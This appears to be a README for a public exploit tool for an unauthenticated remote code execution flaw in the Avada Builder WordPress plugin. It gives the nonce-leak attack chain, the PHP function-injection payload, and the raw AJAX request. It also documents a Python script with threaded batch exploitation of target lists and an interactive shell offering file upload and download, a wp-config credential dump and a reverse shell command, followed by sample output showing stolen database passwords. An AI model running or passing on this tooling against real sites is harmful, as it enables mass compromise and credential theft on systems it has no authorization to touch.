xxconi/cve-2026-6279CVE-2026-6279: Avada (Fusion) Builder <= 3.15.2 – Unauthenticated Remote Code Execution via PHP Function Injection via 'render_logics' Shortcode Attribute via Widget AJAX Handler (fusion-builder)
| Field | Detail |
|---|
| CVE ID | CVE-2026-6279 |
| Affected | Avada Builder (Fusion Builder) <= 3.15.2 |
| Theme | WordPress Avada Theme |
| Active Installs | 900,000+ |
| Vulnerability Type | PHP Function Injection → Unauthenticated RCE |
| CVSS v3.1 | 9.8 (Critical) |
| Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Authentication | ❌ Not Required |
| User Interaction | ❌ Not Required |
| Researcher | xxcoin |
| Disclosure Date | 2026-05-24 |
┌─────────────────────────────────────────────────────────────────┐
│ │
│ 1. NONCE DETECTION │
│ wp_create_nonce('fusion_load_nonce') → UID 0 │
│ Embedded in JS on public pages containing │
│ [fusion_post_cards] or [fusion_table_of_contents] │
│ shortcode │
│ │ │
│ ▼ │
│ 2. UNAUTHENTICATED AJAX │
│ wp_ajax_nopriv_fusion_get_widget_markup │
│ check_ajax_referer() → only checks nonce validity, │
│ does not authenticate user identity │
│ │ │
│ ▼ │
│ 3. DESERIALIZATION │
│ base64_decode(render_logics) → json_decode() │
│ No structure validation — attacker-controlled JSON │
│ │ │
│ ▼ │
│ 4. call_user_func() — NO ALLOWLIST │
│ get_value() → wp_conditional_tags case │
│ call_user_func($value['function'], $value['args']) │
│ Any PHP function can be called │
│ │ │
│ ▼ │
│ 5. RCE ✓ │
│ system("id") → uid=1000(xxcoin) │
│ Full command execution with web server privileges │
│ │
└─────────────────────────────────────────────────────────────────┘
class-fusion-builder-conditional-render-helper.php — L1531:
// VULNERABLE CODE
case 'wp_conditional_tags':
$decoded = json_decode( base64_decode( $render_logics ), true );
// ❌ No allowlist check
return call_user_func( $decoded['function'], $decoded['args'] );
{
"type": "wp_conditional_tags",
"value": {
"function": "system",
"args": "id"
}
}
Base64 encoded and sent as the
render_logicsPOST field.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
action=fusion_get_widget_markup
fusion_load_nonce=<nonce>
render_logics=<base64_payload>
widget_type=WP_Widget_Recent_Posts
type=WP_Widget_Recent_Posts
widget_id=2
number=2
| Function | Argument | Result | Status |
|---|---|---|---|
system() | id | uid=1000(xenon1337) | ✅ Successful |
passthru() | id | uid=1000(xenon1337) | ✅ Successful |
shell_exec() | id | uid=1000(xenon1337) | ✅ Successful |
exec() | id | uid=1000(xenon1337) | ✅ Successful |
file_get_contents() | /etc/passwd | root:x:0:0:... | ✅ Successful |
proc_open() | — | — | ❌ Requires 2+ arguments |
popen() | — | — | ❌ Requires 2+ arguments |
Note:
call_user_func($fn, $arg)inherently accepts only one argument. Functions requiring 2+ arguments (e.g.proc_open,popen) cannot be triggered via this vulnerability.
1. Avada generates fusion_load_nonce for UID 0 (public user)
2. On pages containing the [fusion_post_cards] or
[fusion_table_of_contents] shortcode, the nonce is embedded
in the JS output → everyone can see it
3. check_ajax_referer('fusion_load_nonce') only validates the
nonce's validity — it does not authenticate the user
4. Result: Any visitor can retrieve the nonce and call the endpoint
| File | Line | Function | Description |
|---|---|---|---|
class-fusion-builder-conditional-render-helper.php | L1083 | should_render() | render_logics deserialization |
class-fusion-builder-conditional-render-helper.php | L1531 | get_value() | ⚠️ call_user_func() — no allowlist |
fusion-widget.php | L44 | — | render_logics connection |
fusion-widget.php | L389 | — | wp_ajax_nopriv AJAX handler registration |
class-fusion-builder.php | L7551 | — | Deterministic nonce registration for UID 0 |
pip install requests packaging
# Menu mode (single + batch)
python3 CVE-2026-6279.py
# Without protocol (auto detect)
python3 CVE-2026-6279.py target.com
# With protocol
python3 CVE-2026-6279.py http://target.com
python3 CVE-2026-6279.py https://target.com
# With port
python3 CVE-2026-6279.py target.com:8080
python3 CVE-2026-6279.py http://target.com:8080
♡ [1] Single target · interactive shell
◆ [2] Batch scan · file exploit
✗ [3] Exit
shell> id # execute command
shell> cd /var/www/html # change directory
shell> upload local.php /tmp/x.php # upload file
shell> download /etc/passwd # download file
shell> wp-config # DB information
shell> recon # system scan
shell> revshell 10.0.0.1 4444 # reverse shell
shell> exit # exit
# targets.txt format:
target1.com
http://target2.com
https://target3.com:8080
# comment line (skipped)
♡ targets file [targets.txt]:
♡ threads [10]: 30
♡ command [id]:
♡ output file [vuln.txt]:
╔══════════════════════════════════════════════════════════════╗
║ CVE-2026-6279 · Avada Builder <= 3.15.2 ║
║ Unauthenticated RCE via call_user_func() ║
║ Copyright © 2026 xxcoin · Thanks: xxcoin 💜 ║
╚══════════════════════════════════════════════════════════════╝
★ Avada detected! (http://localhost:8888)
★ nonce: b6d7b084c2 (src: /blog/) [shortcode✓]
★ AJAX: http://localhost:8888/wp-admin/admin-ajax.php
★ RCE: system() [B] [WP_Widget_Recent_Posts]
• uid=1000(xxcoin) gid=1000(xxcoin) groups=1000
shell> uname -a
• Linux debian 6.1.0-21-amd64 #1 SMP x86_64 GNU/Linux
shell> wp-config
• DB_NAME=wordpress
• DB_USER=wp_user
• DB_PASSWORD=s3cr3t_p4ss!
• DB_HOST=localhost
| Metric | Value |
|---|---|
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | None |
| User Interaction | None |
| Scope | Unchanged |
| Confidentiality | High |
| Integrity | High |
| Availability | High |
| Base Score | 9.8 — CRITICAL |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
This tool is intended solely for authorized security testing and educational purposes. Unauthorized access to systems is illegal. All responsibility lies with the user.
telegram. https://t.me/+-GYq8ydL9AYwZGI8)
CVE-2026-6279 · Avada Builder <= 3.15.2 · xxcoin · 2026
Special Thanks: Shadow Girlfriend 💜